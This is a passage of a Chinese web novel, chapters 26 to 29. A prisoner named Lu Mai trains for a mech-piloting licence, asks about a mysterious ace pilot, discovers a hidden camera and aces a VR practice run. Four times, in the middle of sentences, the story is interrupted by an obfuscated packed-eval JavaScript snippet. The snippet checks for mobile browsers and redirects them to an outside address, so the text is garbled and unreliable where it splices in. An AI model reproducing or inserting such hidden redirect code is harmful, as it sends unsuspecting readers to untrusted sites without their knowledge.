路麦面无表情:“你怎么来了?” 古德奈说:“我在宿舍门口等你考完试回来刷好感呢!等了好久,怕你出什么事,就过来看看。” 路麦心里一暖。 古德奈追问:“所以呢所以呢,合格了吗?” 路麦说:“没有,没起步就结束了。” “啊?!”古德奈张大了嘴巴,不敢置信的样子,而后又撇了撇嘴,“你就装吧。” “我装什么?”路麦斜他。 古德奈大叫:“我十八年前就拿到A1执照了,你怎么会考不出呢!” 路麦无语:“你现在才几岁啊,吹。” 古德奈说:“好吧,其实是三年前拿到的。” 路麦哦了一声。这家伙一会儿神一会儿鬼的,她实在摸不准。 “你是怎么通过考试的,有什么诀窍吗?”她若无其事地打听。 古德奈夸张地舞动身体:“就是这样——然后这样——最后这样——不对啊,你干嘛还要考A1?原来没有吗?” 路麦:“废话,有我还考个屁?” 古德奈露出了困惑的表情,而后又扮起了鬼脸:“哎呀,但是怎么会没合格呢!难道你想扮猪吃老虎?我挺喜欢这种故事的,但多少也有点老套了耶。” 路麦错了一拍脚步,狐疑地看着古德奈。 没跑了,这小子肯定知道“自己”,还知道“自己”驾驶技术不错,而且在他的情报那里,“自己”应该是个男人——放在之前也确实没错。 思考片刻后,她轻咳一声:“好吧,我确实是装的。A1的一次通过率很低,如果我表现得太熟练,说不定会被管理处调查。” 古德奈咧嘴一笑:“我就说。曾经的王牌飞行员居然说自己过不了A1,鬼才信呢!” 路麦挑了挑眉毛。同时觉得自己后脑勺的头发被挠了一下。 她——或者说她身体的原主——一个不男不女的、被关在暗无天日的实验室里做了172场试验后暴毙的可悲实验体,是什么王牌飞行员? 这家伙,不会其实是认错人了吧? 回到独房,路麦先是检查了一下自己的刑期,发现一共只增加了三千年,也就是说,因为造成考试机器发生系统故障而增罚的三千年,一〇二没有给她登记上。 想到在考场上发生的种种,路麦相信这绝对不是一〇二突然良心发现,而只是单纯忘了。 * 第二天,路麦在下班后没有按照一贯的路线返回住处,也没有去驾考中心继续偷偷训练,而是根据居住区的编号规律,找到了EH2片区。 多亏一〇八无意中透露的消息,她才能知道鉴定师小姐的代号,才能从如此密密麻麻的独房中准确定位她所居住的那一间。 她去找EH2N不为别的,只是想要打听没能从古德奈那里得到的考试诀窍。 服刑者不能相互串门。敲门是一种被禁止的行为。 但好消息是,从那扇不透明的毛玻璃窗可以判断,EH2N有八成的可能还未归巢。 剩下二成的可能,则是她更偏好昏暗的室内环境——现在天色已经暗下来了,不开灯会有诸多不便。 EH2N的房顶上站着一只被设定为幼年期的电子犀牛。 看得出它的饲主有在好好照料它。 蓝灰色的皮被刷得很干净——这也是电子宠物的好处之一,即使为了美观而舍弃那些用来保护皮肤的泥浆,也不会对其健康造成任何不利影响。 鼻子上那角质堆积而成的角已经初具雏形,并将永远定格于这个恰到好处的大小,使其既不失犀牛的灵魂,又不会阻碍饲主与宠物间的亲热。 路麦冲它打了个招呼,而它也十分友善地点了点那颗大脑袋。 过了一会儿,鉴定师小姐的身影出现在街道尽头。 “终端提示我的减刑系数发生变动,我就知道说不定有客人远道而来。”她的友善程度丝毫不输给她的宠物。 “为什么?”路麦疑惑道。在和鉴定师小姐对上眼神的瞬间,她的偏头痛又发作了。 “犀牛算是比较稀有的电子兽,我刚接回它的那段时间,系数简直像是坐了火箭似的直往上蹿,不过现在大家都见怪不怪了,只有从别的地方来的访客才会对它感到新奇。”鉴定师小姐说,“你是偶然路过这儿,还是来这里有事?难不成你是来找我的?” 路麦说:“我是来讨教的。我最近在参加A1执照的考试,遇到了一些困难,所以想从有经验的人那里获得一些诀窍……什么的。” 鉴定师小姐盯着路麦看了稍许,脸上浮现出一种饶有兴致的表情。她不是传统意义上的标致美人,但有着非常知性的气质,就好像她的聪明才智已经充沛到满溢出来,形成了她的独特气场一般。 路麦在她面前,感到了一种无处遁形的窘迫感。 终端提示:“宠物[跳蛛][路西法]接收到正面情绪,饲主[OA7W]减刑系数上升。” 她惊讶地看向鉴定师,而对方从容地笑了一下:“和你的宠物比起来,伽玛似乎也没那么特别了。”伽玛显然是那只小犀牛的名字。 路麦知道她注意到了路西法,莫名有点心虚,于是毫不客气地将邻居的特立独行之处抖了出去:“还有人将青蛙当做宠物的呢。” 鉴定师小姐轻轻摇了摇头。 一般来说,这种动作可以判定为否定的意思。 但路麦不知道她在否定什么,难道她认为宠物蜘蛛比宠物青蛙更奇怪吗? “我参加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633584|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' A1考试已经是好几年前的事了。”鉴定师小姐猝不及防地主动将话题拉回正轨,“不过我还记得驾校老师教我的一些口诀,以及在考试中寻找参照物的方法。实干家们对这种应试口诀嗤之以鼻,但它们真的很实用。考试是考试,实践是实践,不是吗?” 看来驾照考试都有共通之处。 路麦问:“你在来到N21之前就持有驾照了?!” 鉴定师小姐用手指触了一下嘴唇,暗示不要张扬:“我为军队工作过。A1执照是应募条件。” 她慷慨地将从驾校学到的技巧分享给了访客。 路麦一边在终端上进行记录,一边在心中暗自感叹。 鉴定师小姐的记性很好。毕竟不是谁都能在通过路考的很多年之后还能一字不落地记得那些诀窍的。 她还传授了几条关于障碍躲避、遇敌反击和复杂地形驾驶的经验之谈,例如遭遇假想敌时,要在其距离瞄准镜的准心还有三至五毫米时进行反应射击,急转弯时,转角与视窗下侧齐平的瞬间操作拉杆等等。 射击和急转确实像是难点。 尤其是前者。 狙击手都是靠实弹喂出来的,在练习量无法满足的前提下,就算想复盘也不知从何盘起。 “差不多就是这些。剩下的就要靠随机应变和临场发挥了。”鉴定师小姐似乎心情很好的样子。 路麦在备忘录里输入最后一个句号:“可以问你一个和考试无关的问题吗?” 鉴定师小姐说:“让我先听听题干。” 路麦压低声音:“你刚才说……你为军队工作过,那你知道王牌飞行员吗?” 鉴定师小姐的神情一下子变得探究起来。 “我只是偶然听到过这个说法,有些好奇罢了……如果不方便透露的话,就当我没有问过好了。”路麦赶紧补充道。 鉴定师小姐的神色愈发讳莫如深,那双眼睛似乎正在洞察路麦的底细。但很快,脸部的肌肉就不易觉察地放松下来,甚至展出了一个笑容。 鉴定师小姐说:“这么说来,当我还没被送到这儿来的时候,军中确实有一个被称为王牌飞行员的存在。顾名思义,他是一个技术格外突出的战士,一个人能抵一支军队。” 路麦说:“听起来很酷。对那样的人来说,考驾照一定就像儿童游戏一样简单。” 鉴定师小姐回忆起了什么,眼底也浮现了一丝怀念的笑意:“我听说那个人一直没有获得A1驾照,军方对他是破格录取,让他在入伍一年内取得资格。不过直到成为军中的王牌,他都没有拿到驾照。” 路麦想了想说:“既然他的能力有目共睹,有没有驾照也就无所谓了吧?不少人就算考出了驾照也没办法独立上路呢。” 鉴定师小姐说:“我听到的传言是,那个人前前后后一共报考了5次,每次都以失败告终。但他的实战技术又是千真万确的,于是军方索性放弃了让他取得A1的要求。” 路麦说:“还有这样的事?” 27. 故障 虽然驾照无法成为判断一个人驾驶能力的标准,但是一个被称为王牌的人却无法在最基础的能力考试中合格,这怎么也说不过去。就像一个能考上顶尖大学、乃至能解开学界重要难题的人,却没法做好一张小学难度的试卷。 哪怕用“不适应低难度”这种借口来搪塞都显得漏洞百出。 “他是一个奇怪的人。”鉴定师小姐说着,若有所思地看着路麦。 那不是一种审视。 路麦觉得自己被看着,却又好像没被看着。鉴定师正透过她,看着另一个人。 “他长什么样?”路麦犹豫再三,还是将这个问题问出了口。 “他和你长得很像。”——说实话她已经做好了听到这种回答的心理准备。 但是鉴定师只是摇了摇头:“我没有见过他。确切地说,我没有见过他的正脸。我有幸见到过他本人,只是那时他戴着头盔。” 路麦问:“军队难道没有拿他做宣传?” 鉴定师小姐说:“有,但也都是穿着驾驶服、戴着头盔的形象。大家都不知道他到底长什么样,至少我身边的人都不知道。有人说他是个罕见的美男子,也有人说他丑得没办法见人。甚至有传言说他没有脑袋。” 路麦问:“他叫什么名字?” 鉴定师小姐笑了一下:“名字?和长相一样,那也是个秘密,好像没人知道。为了方便称呼,有人给他起了一个外号,就叫——” 鉴定师小姐皱了皱眉,用手捂住了脑袋。 她最后要说的那个单词,路麦没能听清。 不,是根本没有听到。 在那个音节出现之前,剧烈的疼痛冲击了大脑,她因此失去了意识。 完全是一瞬间的事。 * 回过神来的时候,路麦发现自己正摔倒在一片柔软的沙滩上。 是经常做的那个梦。但也不是天天都做。而且最近——尤其是梦到被开膛破肚之后——梦境的画风开始变得奇怪起来。比如现在。 阳光美男正在亲吻她的嘴唇。 他们经常这样接吻,次数多到像开玩笑一样,以至于再不会有脸红心跳的感觉。路麦完全把这种行为当成了解压方式。所以才会觉得日常没有什么压力吗? 可是总觉得今天有些不同。 不同以往那种嬉戏打闹的拥抱和接吻。阳光美男似乎在用这种方式回避与她眼神交流,回避她开口提出任何质疑——即使她在这里根本没法发出声音。 在逃避的人是他。在释放压力的人也是他。 这片一无所有的海滩,又会带给他什么压力呢?还是说终日呆在同一个地方,他开始感到乏味和孤单了呢? 等他厌倦这里的一切之后,是不是就要寻找离开的方法,去触碰那个外显的世界了? 到那个时候…… 哎,这种时候,大脑很难冷静地思考问题呢。 * 路麦是在O大区的医务室醒来的。 服刑者很难享受到恰当的医疗服务,除非付出足够多的代价。 从医务室负责人的口中,路麦得知自己是被鉴定师小姐送过来的——像她那样的高级服刑者才说动得了负责人。她甚至还替自己付清了在医务室滞留所需的积分。 说实话,欠人情的感觉不是很好。 “你现在感觉怎么样?医务员说可能是因为你最近太劳累了。这只是猜测,毕竟做检查要付很多钱。”古德奈的脸出现在距离很近的地方。 路麦被头顶的灯光晃得睁不开眼,而古德奈恰到好处地充当了遮光板。 昏迷前的记忆有些模糊,路麦只记得自己去找了鉴定师小姐,向她请教了A1考试的经验,并多问了几嘴关于军方那位王牌飞行员——也就是自己这具身体原主的事。 前者由于被完整地记录了下来,所以不用担心记忆偏差的问题。 但后者,路麦能记住的就不多了。 只记得那似乎是个拥有超高实战技术却偏偏没法通过路考的神奇的家伙。 “头还有点晕。你怎么在这里?”路麦从安置床上坐了起来。 “我收到通知,让我来一趟医务室。来了之后才知道是要我把你领回去。”古德奈解释道,“如果你一直不醒来,我就得把你背回住处了。” 医务室不收留病患过夜,但又会打招呼让邻居把人领回去。 也不好说这种规则到底是人性化还是没人性。 “你背得动的吧。”路麦旋转下身,伸脚去探自己的鞋。 她看到古德奈的脖子前面挂了一个拳头大的玻璃瓶,里面装着伊芙宁,于是又顺带一提:“这还是四号吧?” 古德奈咧嘴一笑:“还是四号。” 路麦说:“你该把它安安静静养在屋子里。不然有一百条也不够折腾的。” 古德奈低头看了一眼终端:“系数又变高了!你真是够朋友的。我敢打赌,这附近没有比我效率更高的犯人了。” 路麦穿好鞋子:“马上就要锁门了,我们赶紧走吧。” 回到住处,刚好赶上门禁时间。 路麦站在房间中央,直觉有哪里不对。 墙壁附近的地面上有一个弧形的印记,印记是由棕黄色粉末描绘出来的,但如果不仔细观察,其实很难发现。 路麦盯着那个印记,没有立即上前查看,而路西法则趁她发愣的当口跑到了墙壁上,并迅速向另一面墙壁爬去。 最终,它停留在正对门口的那面墙上。它停留位置的附近有一道裂缝,那裂缝在路麦入住之前就已经存在,是这类墙上很常见的东西,因此也就不曾引起过住客的关注。 路西法围绕着墙缝的一个三岔口转起了圈。 路麦不动声色地走到那面墙壁跟前,假装用手指逗了逗蜘蛛,目光如蜻蜓点水般从它“圈地运动”的圆心掠过。 一个恐怕只有针眼那么大的深蓝色圆形物体在她的视野之中一闪而过。 那个圆形物体中还包裹着一个更细小的红色光点。 摄像头。 路麦没有那么高的反侦察经验和意识,但还是第一时间识破了那东西的真身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639698|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地面上的弧形印记是一个残缺的脚印。 有人趁她不在的时候来过这里,还在墙缝里撞上了摄像头。 至于他们这样做的目的,当然只有一个,那就是监视她。 可是为什么? 他们给多少房间装了摄像头? 如果只监视了她一个人,具体目的是什么? 是唐古拉斯指示他手下的人干的? 又或者是这里的管理员对她的身份起了疑心? 路麦甚至还想到了另一种可能性——有人觉察到路西法的不对劲。 蜘蛛跳上了她的手腕。她飞快地将它送回了饲育箱里,并投放了一条面包虫。 她觉得有点饿。 门口跌落着傍晚时自动投送的营养液。但她不想喝营养液,反而看着门把上的金属十分眼馋。 如果无需顾忌什么的话,她怀疑自己会一口咬上去。 但她现在没法这么做,因为身后那只由来不明的摄像头。 ……希望他们没在浴室装这东西。 第三天下班,路麦打算直接从工厂导航前往驾驶执照的考点,继续前天没有通关的练习。 途中经过一座工业园,好奇地张望了几眼,想起之前在废弃园区被半机械人袭击的遭遇,心有余悸地耸了耸肩膀,不自觉地加快脚步想要远离。 不过这种担心或许有点多余。从办公楼的亮灯情况来看,这座园区显然还在运营,也就不会被可疑人士趁虚而入。 “我会继续调查的,今天先谢谢你了。” “哪里哪里,没什么的。你那边工作不忙的话,可以多来这里坐坐,我这里也有些新技术,想找人探讨探讨呢。” 路麦听到对话,循声望去,看到两条人影从园区大门走出。其中一条影子人高马大,还没看清脸,光看那轮廓,路麦就认出正是一〇二,脑袋一转就要逃跑。 当然,明目张胆地跑是不行的,因为一旦被注意到就会显得很可疑。路麦只能快步走着,希望一〇二不会认出她来。 可惜这种侥幸很快就落空了。 没走出多远,一个凶巴巴的声音就追了上来。 “OA7W。” 路麦假装没听到,走得更快了。她也不是怕别的,就是担心两个人说上几句话,一〇二就会想起那还没给她加上的三千年刑期。 她不敢迈开步子跑,可那一〇二人高腿长,小跑几步,胳膊一伸,就又揪住了她的后领,让她不得不停下脚步。 “OA7W,我叫你没听见吗?”一〇二的声音有些不快。 路麦扭过头,小心翼翼地辩解道:“我有急事,正赶路呢,就没注意周围的情况。考官,你找我有什么事?” “是关于系统故障的事。”一〇二开口就是她最不想听到的话。 看来三千年的罚期已经在劫难逃。路麦在心里无声哀叹起来。 “我发现有人在考试机器的系统里释放了病毒程序,是我的工作失职,所以第二个三千年就没罚到你头上,特意向你说明一下。”一〇二说。 28. 高分 路麦惊讶地望着他,显然是没想到他居然真的会良心发现。 不对,与其说是良心发现,倒不如说他似乎不是路麦印象中那种凶恶的家伙。虽然对待考生又拉又扯、态度够差,但是承认工作失误却很爽快。 至于因为损坏物品罚她的那三千年……她也实在没法辩驳,可能那真的是被她无意间弄坏的。可无论如何,三千年的判罚也太高昂了。 “嗯,哦。”路麦含糊不清地应着,心里还有几分忐忑。 一〇二松开了手,“嗯,就是这样,没别的事了。”这样说着,他已经再次迈开步子向前走去。 路麦不禁在内心泪流满面,万般无奈地跟在他后面走着。 一〇二很快就发现了她的跟随,于是又放慢了脚步,还回头问了一句:“你也走这条路?” “啊,嗯。” 又走了一会儿,两人的目的地似乎都已经明晰起来——都是驾驶执照的考场。 “你今天还来考试?”一〇二理所当然地得出了这个结论。 路麦摇头:“我来……”话刚开了个头,想起什么,立马刹住。 她不觉得开诚布公地说明自己正在接受他同僚的帮助是个好主意。 “你来?” “没什么……就是,逛逛。” 一〇二用那双能杀人的眼睛盯着路麦看了一会儿,“你是来找一〇八的?” 被戳破的路麦顿时窘迫起来:“啊……哈……” 一〇二又是一阵沉默,过了半晌才说:“别和那家伙走太近。” 这话让路麦心里一惊。 ——为什么? 当她想问个明白的时候,一〇二已经大步流星地走进了他所管理的那片场地的大门之中,很快就再看不见那道庞大的背影了。 她想起一〇二在考场上不经意间展露出的对同僚那种爱答不理的态度,意识到这里的职场关系似乎也大有学问。至少那些穿着同样制服的管理员们并不全部同仇敌忾,他们也有着自己对人对事的好恶。 因为一〇二不喜欢一〇八,所以才让她不要走太近吗? 从表面上看,这不失为一种解释,但细究起来,却显得非常不合理。 如果在学校或是在职场,有人提醒她不要和某人走太近,她会认为这一般有两种可能,一种是出于“有人”对“某人”的孤立,另一种是出于“有人”对她的保护,但代入到眼下的情景,她觉得这两种可能都不适用。 虽然路麦不觉得服刑犯在人格上比所谓的管理员要低一等,但现实就是,服刑犯是一群被剥夺了政治权利的家伙,而管理员是执行对他们监管职能的人,她没有任何立场和能力去孤立一个管理员。 说到底,管理员根本就不会在乎服刑犯是否喜欢他们。 一〇二是在提醒她远离危险?那就更不可能了。 这不是管理员的工作,也不是他们的义务,更何况他也不是那种会怜悯弱者的家伙。 路麦摸了摸自己的手腕。那天被那家伙扯过的地方到现在都还在隐隐作痛呢! 一〇二的身影已经彻底隐没在大楼的阴影中,四下里顿时变得僻静起来。路麦左右张望一番,没有看到其他人影,踌躇了一会儿,还是钻进了大楼,沿着记忆中的路径,走到了昨天那间办公室跟前。 空旷的走廊上响起一阵诡异的风声,如同幽灵的呜咽。 左侧的耳垂后方出现明显的抓挠感。 路麦伸手碰了一下,那个习惯于栖息于后颈处的小家伙就动作敏捷地跳到了她的指节上。 她将手指移到面前,看到路西法像抱着一截浮木似的紧紧抱着自己的手指,四对大小不同的眼睛正直楞楞地(在她看来)望着她,仿佛想说什么。 “你饿了吗?”路麦猜测刚才耳垂后的刺痛没准是它发出的饥饿信号。希望它的目的并不是从她的身上剜一粒肉下来充饥。 跳蛛挥动了一下前肢。 路麦想起昨天晚上刚刚投喂过一条面包虫,它没道理这么快就又饿了。 跳蛛松开腿,在她的指节上来回走了几步,像是一种警示。 要不今天先算了?路麦看了一眼紧闭的机械门,心中萌生了退意。 一〇二也让她不要继续接触一〇八了,不是吗? 然而就在路麦几乎已经打定主意离开的时候,那熟悉的嗡鸣声便响了起来。 机械门在她眼前打开,室内的光线立刻倾泻到昏暗的走廊,修长的身影就站在门框后面,用那张温文尔雅的脸面对着她。 “哦,你来了。我刚想着时间似乎差不多了呢。” 路麦垂下了肩膀。既然如此,那就留下吧。 说到底,她内心还是不想错过这个练习的机会。不仅是因为想在那个虚拟的场景中感受一下驾驶机甲的感觉,更多的还是为了拿到A1的执照——这关系到她今后的大好人生。 “嗯,希望今天能通一次关!”她像是给自己打气似的说道。 下一秒,路西法就跳到了她的鼻尖上。 她的第一反应是闭上眼睛,然后小心地睁开其中一只,看到那团黑色的东西就在离眼球只有几公分的地方,再次被吓得闭上,然后拢起手指将那家伙抓到手心。 它生气了吗? 就像受到饲主冷落的小狗一样。只是它不会像小狗那样哼哼唧唧地表示委屈,反倒耀武扬威地跳到她眼前发泄不满。哪怕它是一只还没小狗的爪子大的蜘蛛。 “你可以在这附近找找有没有可以吃的东西……”路麦说。她总不能指望一〇八在办公室里存着一罐面包虫。 “你在和一只蜘蛛讲话?”一〇八当然不可能没有注意到路西法的存在。 “我的宠物。经过登记的。”路麦赶紧回应。 “有趣。”一〇八发表简短评论,狭长的眼睛微微眯起,视线从服刑犯的掌心扫过,“我这里有苹果,它吃吗?” “不知道……”路麦惶恐地答道。 她本来想说试试看,但显然哪怕路西法愿意进食苹果,最多也就吃几粒米大的果肉,为此浪费一只苹果,多少有点暴殄天物。 她在积分商城里看到过苹果,这种在她认知里平凡到不行的水果价格出奇昂贵。 “你去练习,我来试试。”一〇八看起来并不介意和一只虫子分享食物。 路麦有些不放心,但说不上是不放心路西法还是不放心一〇八,反倒是路西法像是听懂了两人间的对话,轻轻一跳,就完成了场地的转换,从饲主的身上离开了。 一〇八有些得意地笑了一下:“这话听起来可能像吹牛,不过我可是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649905|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个很受动物喜欢的人。” 这个“动物”里也包括人类吧?路麦想道。如果不是在这种人人自危的地方,如果不是这样的身份,就算说不上喜欢,她也一定会对这样的人产生好感的。 颜值即正义。这句话放在他身上很适用。 既然路西法主动选择了托管对象,路麦也不再多想什么,和昨天一样戴上眼镜,走上那台辅助机器,开始新一轮的练习。 一〇八依然会抓住每一个错误的地方,看来他并没有因为切苹果这样的任务分心。 路麦对起步流程已经有了肌肉记忆,重开两次之后就无可指摘地进行到启动引擎的步骤。 终于要上路了。她在心里摩拳擦掌。 之后的行程出奇的顺利。没有前期那种繁琐到恶心的规章,更多的是考验反应能力和操作速度,有点像节奏竞技游戏。鉴定师小姐给她的提示也总是能派上用场。 虽然障碍物总是从难以预料的角度出现,虚拟敌人的身形也意外灵活,但对路麦来说完全不在话下,反倒让她怀念起过去打游戏的时光来。 考试结束 成绩98分 “98分吗?还以为会是满分呢……是在哪里漏掉小怪了吗?” 她摘下眼镜,没发现自己下意识地就把游戏用语套到了那些虚拟敌人身上。 “精彩的表现。”一〇八站在办公桌后面,用三根手指托着一片切下的苹果。 “有回放吗?”路麦问。 一〇八在遥控上按下几个键,投影在墙壁上的画面立刻发生了变化。 直行、转弯、滑步、闪避、防守反击、动态攻击…… 两个窗口分别以第一人称和第三人称的视角呈现刚才的训练流程。 路麦聚精会神地看着,在进度条还剩大约五分之一的时候,突然叫了一声:“啊!” “怎么了?”一〇八问。 “原来是没有躲过那一发溅射伤害。”路麦说。 一〇八皱了皱眉,操作遥控将录像回退了几秒,重新看了一遍,依然没有发现端倪。 在行驶和战斗的流程中,他之所以一言不发,其实并不是因为想让OA7W完整地体验一遍全程的操作,而是根本没有什么可以指点和打断的地方——包括那个发生了扣分的细节。 哪怕是观看回放,他都没有注意到伤害是怎么产生的,更不用说在过程中及时指出。 在A1执照的考试中,变态的前期步骤固然是一个让人诟病的地方,但真正的难点当然要属后期的实战部分,没有射杀的虚拟敌会按数量扣分、受到的伤害则按轻重程度扣分,60分合格,虽然有40分的扣分空间,但也不是那么容易的事。 虽然利用VR设备进行虚拟练习的时候,身体不会承受真正驾驶机甲时那么大的压力,难度降低了不少,但第一次走完全程就拿到98分,也不是随便哪个人都能做到的。 一〇八若有所思地观察着不远处那一脸兴致勃勃的犯人。 一阵刺痛突然从指尖蔓延开来。 他低下头,看见那只被登记为宠物的蜘蛛早已放下了那一小块苹果,在他的指腹上狠狠蛰了一下。 不知天高地厚的虫子。 他只要动动手指就能捻死这家伙。不过太恶心了,还是算了吧。 29. “帮助” “我可以再试一次吗?!”犯人的声音传了过来。 一〇八轻轻地扬着嘴角:“当然可以。” 新的一局流程很快就在屏幕上显示出来,开头是那段让人感到厌烦的导入动画,接着,跟随第一人称的视角进入驾驶舱,感受操作者在完成起步前操作时的那份小心谨慎。 经过一天的消化,她似乎已经完全记住了那些零碎的规定,这不能说罕见,但也必须承认她效率很高。 看她驾驶时那平稳的态度,击杀假想敌时那干脆利落的动作,他敢说哪怕是在军队的机甲营里也不是人人都能做到这种程度的。 大把的人都是擦着及格线拿到的驾驶执照,如果在考试时拿到85分,就会有军方的猎头前来挖掘,如果是90分,大概在刚被招揽的时候就会被许诺一个光明的未来,至于98分…… 如果她能在实际考试中拿到98分,那么军队把她当成下一个王牌培养也并非绝无可能。 幸好这是在N21。 虽然执照分发状况全世界都联网可查,但由于N21的相对独立性,军方没有权限调取在这里举行的考试的具体成绩,因而也就不会发生来N21挖角的情况。进一步说,他们或许也不希望招揽到一个在背景和道德上有问题的成员。 优秀的身体,优秀的大脑。这就是唐古拉斯哪怕暂时放弃N21的布局也想要尽快带回研究所的那具实验体。 考试结束 成绩100分 就在一〇八分心的这段时间里,服刑犯已经又完成了一次全流程。 满分通关的特效音将考官的思绪拉回到当下,他有些错愕地看着屏幕上飘洒着的胜利特效,说真的,他从来没有看到过这个画面,从来没有。 “嘿嘿!没准我真是个天才!”OA7W摘下眼镜,梳理了一下头发,那动作因为其内心的得意而显得英姿飒爽。 啪,啪,啪。 一〇八捧场地鼓了几下掌,“可以去掉没准,你真的是个天才。接连两次的操作,头晕吗?” “我没事。”路麦现在已经是胸有成竹的状态,只要能确保起步前流程不出太大的岔子,她就一定能拿到合格的成绩。 弹幕和竞速类游戏曾经是她的拿手好戏,只不过这种针对游戏的反应和手速在现实世界没有太大的作用,却不曾想到此项才能会在另一个世界凸显出来。 没准我能去开战斗机呢!路麦忍不住在心里揶揄自己。 不过这也只是她随便想想罢了,满分通关固然有她自己的缘故,但很可能也是因为这具身体残留的肌肉记忆。这可能是一具曾经的王牌飞行员的身体。 像训练程序里的战斗操作,如果是用她的那套出场配置,肯定无法适应得这么快。 她能感受到那种细微的差别。 她自己在打游戏的时候,很多需要快速反应的地方往往是下意识操作,但是在这两次的练习中,她明显感觉到自己每次都是有的放矢,她知道敌人的攻击和移动都非常迅速,但她就是能看清它们的所有轨迹。 那种感觉不是周围的一切都进入慢放状态,单纯是因为她太快了! 反应快,操作快,她的各项速度都远在敌人之上,所以才会产生降维打击一样的效果。而这绝对不是她自己的能力,她理所当然地将功劳归结于这具身体。 她将眼镜放到一旁,从辅助机器中脱离出来,伸展了一下四肢,心情愉悦。 一〇八站了起来,面带微笑地向她走近,然后伸手。 路麦看到他递来半个苹果。 “我吃一半就够了,剩下半个给你。”一〇八说。 路麦一点也不爱吃苹果,但在异世界看到这种熟悉的东西,难免让她产生一丝怀念,况且这东西至少在N21这地方是个贵物,虽然是无功受禄,不过她还是高兴地收下了。 果肉已经有了一点氧化的痕迹,她当场就喀喀地啃了起来——就这么半个苹果,总不能揣兜里带回家再吃。 酸甜多汁的果肉在臼齿的碾压下变成泥状,在口腔深处释放出糜烂前的甜蜜。她已经很久没有吃过这种正常的食物了,有时候她都怀疑自己的舌头会不会因此失去分辨味道的能力。 营养液再怎么方便,终究是无法让人体会到进食的乐趣。 路麦看到一〇八放在桌面上的金属笔架,浑身突然一个哆嗦。 一〇八问:“怎么了?” 路麦飞快摇头,继续啃苹果。“好吃!好吃!谢谢考官!”她绝不会说什么她觉得那具金属笔架看起来很好吃。 一〇八体恤地笑了笑。 一团小小的黑影从他的胸口弹向路麦,最终停在她的肩膀上。寄养的宠物急不可耐般地回到饲主的身旁。 “它吃了一点苹果,但看起来不是很满意。”一〇八说着,暗暗地磨蹭了一下被蛰的指尖。 路麦没有领悟到他话里的那种阴阳怪气,在货真价实地得到了练习的机会,外加半只苹果之后,她对一〇八的戒心已经少了很多。“它平时吃虫子。今天也谢谢你了。” “明天还来吗?”一〇八问。 “来啊。”路麦说,“来考试。” 用VR设备练了几次之后,她对执照考试已经重拾信心,既然已经能稳定在练习程序里拿到高分,就没有继续花时间的必要了。 第四天,劳动结束,路麦一路小跑赶到考点。 时间还很早,比预约的时间早了近半个钟头,候考区里空无一人,监考官一〇二还没有现身。 路麦随便找了个空位,准备用这半个小时看看书。 开始阅读后没过多久,空旷的大厅里响起一阵脚步声,她抬头,以为会看到一〇二那张臭脸,却先闻到了清冽的薄荷香味。 那味道真是让人精神一振。像是在单调乏味的灰色空间里突然开出的一朵花。 “考官好!”路麦打了个招呼。对于这种给予自己帮助的、而自己也有好感的人,她还是愿意表现得稍微殷勤一些的。 一〇八挂着那张招牌的笑脸,迈动长腿,走到路麦跟前,垂下眼睑,扫了一眼路麦终端的屏幕:“很自信嘛。”他显然已经发现那并非驾驶执照的考纲。 那是一本心理学教材,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657707|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路麦考证计划中下一本证书所指定的必读书籍。 她在学生时代就不是那种会在临考的时候还抱着笔记狂啃的人,那样做反而会打乱她脑中构建好的框架和节奏。 “嗯,多亏了考官给我练习的机会!”路麦没有对自己的习惯多做解释,而是把功劳推给了对方。 一〇八不置可否地笑笑,“跟我来一下。” 他居高临下地做出一个邀舞般的手势,但很快又收了回去,大概是不想给人留下冒犯的印象。 路麦没有当即听从,而是困惑地看着他,似是在等一个理由。 于是一〇八说:“这回是真的传授秘籍。毕竟虚拟现实没法完全复刻驾驶机甲的体验。” “唔。”既然是这样,路麦也没什么好说的,打算跟上去看看还有什么秘密杀手锏。 两人向候考区的边缘移动,脚步声重叠着在空间中振荡出整齐的回响。 